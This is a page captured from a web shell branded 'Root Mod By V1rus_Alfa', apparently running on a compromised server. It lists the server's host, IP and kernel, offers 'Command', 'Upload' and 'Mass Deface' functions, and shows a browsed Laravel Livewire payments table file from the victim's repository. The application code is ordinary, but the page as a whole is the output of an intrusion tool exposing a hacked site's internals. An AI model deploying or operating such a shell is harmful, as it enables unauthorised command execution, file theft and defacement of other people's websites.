���Root Mod By V1rus_Alfa
User / IP
:
216.73.216.158
Host / Server
:
195.214.235.115 / npln.ir
System
:
Linux damavand.pws-dns.net 5.14.0-503.35.1.el9_5.x86_64 #1 SMP PREEMPT_DYNAMIC Fri Apr 4 05:23:43 EDT 2025 x86_64
Command
|
Upload
|
Mass Deface
|
Create
:
/
home2
/
cutunixc
/
repositories
/
cutunix
/
app
/
Livewire
/
Admin
/
Pages
/
Table
/
Cutunixshot
/
Payment
/
Viewing: Table.php
<?php namespace App\Livewire\Admin\Pages\Table\Cutunixshot\Payment; use App\Models\OfflinePayment; use App\Models\TransactionLog; use Livewire\Component; use Livewire\WithPagination; use Illuminate\Support\Facades\Auth; use Masmerise\Toaster\Toaster; use Illuminate\Http\Request; use function App\Helpers\saveUser; use App\Models\PaymentServices; class Table extends Component { use WithPagination; public $search = ''; public $order_id; public $user_id; public $services_id; public $type_sell; public $type; public $start; public $end; protected $listeners = ['refreshTable' => '$refresh', 'filterSearch' => 'filterDate']; public function filterDate($date, Request $request) { if (isset($date[0])) { $this->start = $date[0]; } if (isset($date[1])) { $this->end = $date[1]; } $this->dispatch('refreshTable'); } // public function deleteItem($id) // { // TransactionLog::where('id',$id)->delete(); // if($this->user_id && $this->services_id){ // saveUser($this->user_id,$this->services_id,'payment'); // } // Toaster::success('عملیات با موفقیت انجام شد'); // return ; // } public function render() { $online_payments = TransactionLog::when($this->start, function ($q) { $q->where('transaction_logs.created_at', '>=', $this->start); })->when($this->end, function ($q) { $q->where('transaction_logs.created_at', '<=', $this->end); }, function ($q) { $q->when($this->user_id, function ($q) { $q->where('user_id', $this->user_id); }); })->when($this->search, function ($q) { $q->whereHas('user', function ($q) { $q->where('users.first_name', 'like', '%' . $this->search . '%') ->orWhere('users.last_name', 'like', '%' . $this->search . '%') ->orWhere('users.mobile', 'like', '%' . $this->search . '%'); }); }) ->paginate(10); $offline_payments = OfflinePayment::where('user_id', $this->user_id)->get(); return view('livewire.admin.pages.table.cutunixshot.payment.table', ['online_payments' => $online_payments, 'offline_payments' => $offline_payments]); } }
Coded With 💗 by
0x6ick Mod By V1rus_Alfa